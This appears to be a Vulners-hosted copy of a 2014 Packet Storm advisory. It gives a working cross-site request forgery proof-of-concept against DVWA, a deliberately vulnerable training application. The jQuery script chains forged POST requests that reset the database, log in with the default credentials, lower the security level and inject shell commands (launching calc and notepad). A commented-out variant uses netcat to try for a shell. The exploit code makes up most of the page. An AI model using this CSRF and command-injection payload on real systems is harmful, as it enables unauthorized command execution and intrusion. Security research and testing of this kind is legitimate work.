Lucene search
K

DVWA Cross Site Request Forgery

🗓️ 15 Sep 2014 00:00:00Reported by Paulos YibeloType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

DVWA Cross Site Request Forgery in DVWA allows attackers to reset the database, change challenge level to low, and perform command execution, potentially leading to shell access

Code
`<!-- There are multiple CSRF issues in DVWA. Attackers can use these CSRF exploits to  
first reset the DVWA database of victim, then make the victim log in using the default resets,  
next crafts another CSRF to change the challenge level to low to make exploitation more probable,  
then use these to craft a command execution CSRF and possibly get a shell. :)   
  
*This PoC will open calculator as a demo execution in approximately 5 seconds.*  
  
The attacker just needs to know you have DVWA for this to work.  
  
Paulos Yibelo and Tabor N. Shiferaw 2014  
  
-->  
  
<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js' type='text/javascript'>  
</script>  
<div id='loader'></div>  
  
<Script>  
  
//document.getElementById("loader").innerHTML = 'Loading...';  
  
var one = {"create_db":'whatever'};  
var two = {"username":"admin","password":"password","Login":"Login"};  
var three = {"security":"low","seclev_submit":"Submit"};  
  
//windows opens calculator; change this to whatever your desire   
var four = {"ip":"127.0.0.1 && notepad && calc","submit":"submit"};  
  
//linux  
//var four = {"ip":"127.0.0.1;netcat -l 15.11.11.x -p 4444","submit":"submit"};  
  
/*  
*step 1  
*Reset the Databse  
*/  
function start_exploit()  
{  
$("#loader").html("Loading...");  
$.ajax({  
url:"http://localhost/dvwa/setup.php",  
type:"POST",  
data:one,  
success:  
function(x){  
dvwaLogin();  
}  
  
});  
}  
/*  
*step 2  
*login using default new password   
*/  
function dvwaLogin()  
{  
$.ajax({  
url:"http://localhost/dvwa/login.php",  
type:"POST",  
data:two,  
success:function(x){  
levelChanger();  
}  
});  
}  
/*  
*step 3  
*set level to low  
*/  
function levelChanger(){  
$.ajax({  
url:"http://localhost/dvwa/security.php",  
type:"POST",  
data:three,  
success:function(x){  
commandExecution();  
}  
});  
}  
  
/*  
*step 4  
*execute command  
*/  
function commandExecution(){  
$.ajax(  
{  
url:"http://localhost/dvwa/vulnerabilities/exec/index.php",  
type:"POST",  
data:four,  
success:function(x){  
//document.getElementById("loader").innerHTML = "Executed";  
$("#loader").text("Loaded");  
}  
}  
);  
}  
  
  
start_exploit();  
</script>  
  
<!-- check out http://paulosyibelo.blogspot.com/2014/09/dvwa-unintended-security-issues.html for more -->  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Sep 2014 00:00Current
0.9Low risk
Vulners AI Score0.9
27